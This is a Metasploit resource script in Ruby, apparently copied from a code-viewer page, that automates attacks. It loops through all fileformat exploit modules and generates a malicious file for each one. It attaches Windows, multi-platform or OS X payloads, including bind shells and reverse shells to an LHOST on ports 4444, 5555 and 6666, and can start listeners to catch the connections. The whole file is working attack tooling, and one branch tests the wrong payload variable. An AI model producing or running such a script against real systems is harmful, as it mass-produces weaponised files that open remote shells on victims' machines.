110 lines
2.8 KiB
Plaintext
110 lines
2.8 KiB
Plaintext
|
<ruby>
|
||
|
if (framework.datastore['WIN_PAYL'] != nil)
|
||
|
winpayl = framework.datastore['WIN_PAYL']
|
||
|
else
|
||
|
# no payload defined -> we use a messagebox payload :)
|
||
|
winpayl = "windows/messagebox"
|
||
|
end
|
||
|
|
||
|
if (framework.datastore['OSX_PAYL'] != nil)
|
||
|
osxpayl = framework.datastore['OSX_PAYL']
|
||
|
else
|
||
|
# no payload defined -> we use a generic bind payload :)
|
||
|
osxpayl = "generic/shell_bind_tcp"
|
||
|
end
|
||
|
|
||
|
if (framework.datastore['MULTI_PAYL'] != nil)
|
||
|
multipayl = framework.datastore['MULTI_PAYL']
|
||
|
else
|
||
|
# no payload defined -> we use a generic bind payload :)
|
||
|
multipayl = "generic/shell_bind_tcp"
|
||
|
end
|
||
|
|
||
|
if (framework.datastore['LHOST'] == nil and (winpayl =~ /reverse/ or osxpayl =~ /reverse/ or multipayl =~ /reverse/))
|
||
|
print_error("please define a global LHOST Variable")
|
||
|
return
|
||
|
else
|
||
|
localIP = framework.datastore['LHOST']
|
||
|
end
|
||
|
|
||
|
if (framework.datastore['VERBOSE'] == "true")
|
||
|
verbose = 1 #true
|
||
|
else
|
||
|
verbose = 0
|
||
|
end
|
||
|
|
||
|
if (framework.datastore['HANDLERS'] == "true")
|
||
|
handlers = 1 #true
|
||
|
else
|
||
|
handlers = 0
|
||
|
end
|
||
|
|
||
|
windows = false
|
||
|
multi = false
|
||
|
osx = false
|
||
|
|
||
|
framework.exploits.each do |exploit,mod|
|
||
|
if(exploit.to_s =~ /fileformat/)
|
||
|
print_line("generating fileformat exploit: #{exploit.to_s}")
|
||
|
run_single("use #{exploit}")
|
||
|
if(exploit.to_s =~ /windows/)
|
||
|
#we need this info for starting the handlers
|
||
|
windows = true
|
||
|
#setting the payload
|
||
|
run_single("set PAYLOAD #{winpayl}")
|
||
|
if(winpayl =~ /reverse/)
|
||
|
run_single("set LHOST #{localIP}")
|
||
|
run_single("set LPORT 4444")
|
||
|
end
|
||
|
elsif(exploit.to_s =~ /multi/)
|
||
|
#we need this info for starting the handlers
|
||
|
multi = true
|
||
|
#setting the payload
|
||
|
run_single("set PAYLOAD #{multipayl}")
|
||
|
if(winpayl =~ /reverse/)
|
||
|
run_single("set LHOST #{localIP}")
|
||
|
run_single("set LPORT 5555")
|
||
|
end
|
||
|
elsif(exploit.to_s =~ /osx/)
|
||
|
#we need this info for starting the handlers
|
||
|
osx = true
|
||
|
#setting the payload
|
||
|
run_single("set PAYLOAD #{osxpayl}")
|
||
|
if(osxpayl =~ /reverse/)
|
||
|
run_single("set LHOST #{localIP}")
|
||
|
run_single("set LPORT 6666")
|
||
|
end
|
||
|
end
|
||
|
extension = active_module.datastore['FILENAME'].split('.').last
|
||
|
filename = exploit.split('/').last
|
||
|
run_single("set FILENAME #{filename}.#{extension}")
|
||
|
run_single("exploit")
|
||
|
print_line
|
||
|
end
|
||
|
end
|
||
|
|
||
|
if(handlers == 1)
|
||
|
#starting some handlers for reverse connections
|
||
|
run_single("use multi/handler")
|
||
|
if(windows == true and winpayl =~ /reverse/)
|
||
|
run_single("set PAYLOAD #{winpayl}")
|
||
|
run_single("set LHOST #{localIP}")
|
||
|
run_single("set LPORT 4444")
|
||
|
run_single("exploit -j")
|
||
|
end
|
||
|
if(multi == true and multipayl =~ /reverse/)
|
||
|
run_single("set PAYLOAD #{multipayl}")
|
||
|
run_single("set LHOST #{localIP}")
|
||
|
run_single("set LPORT 5555")
|
||
|
run_single("exploit -j")
|
||
|
end
|
||
|
if(osx == true and osxpayl =~ /reverse/)
|
||
|
run_single("set PAYLOAD #{osxpayl}")
|
||
|
run_single("set LHOST #{localIP}")
|
||
|
run_single("set LPORT 6666")
|
||
|
run_single("exploit -j")
|
||
|
end
|
||
|
end
|
||
|
run_single("back")
|
||
|
</ruby>
|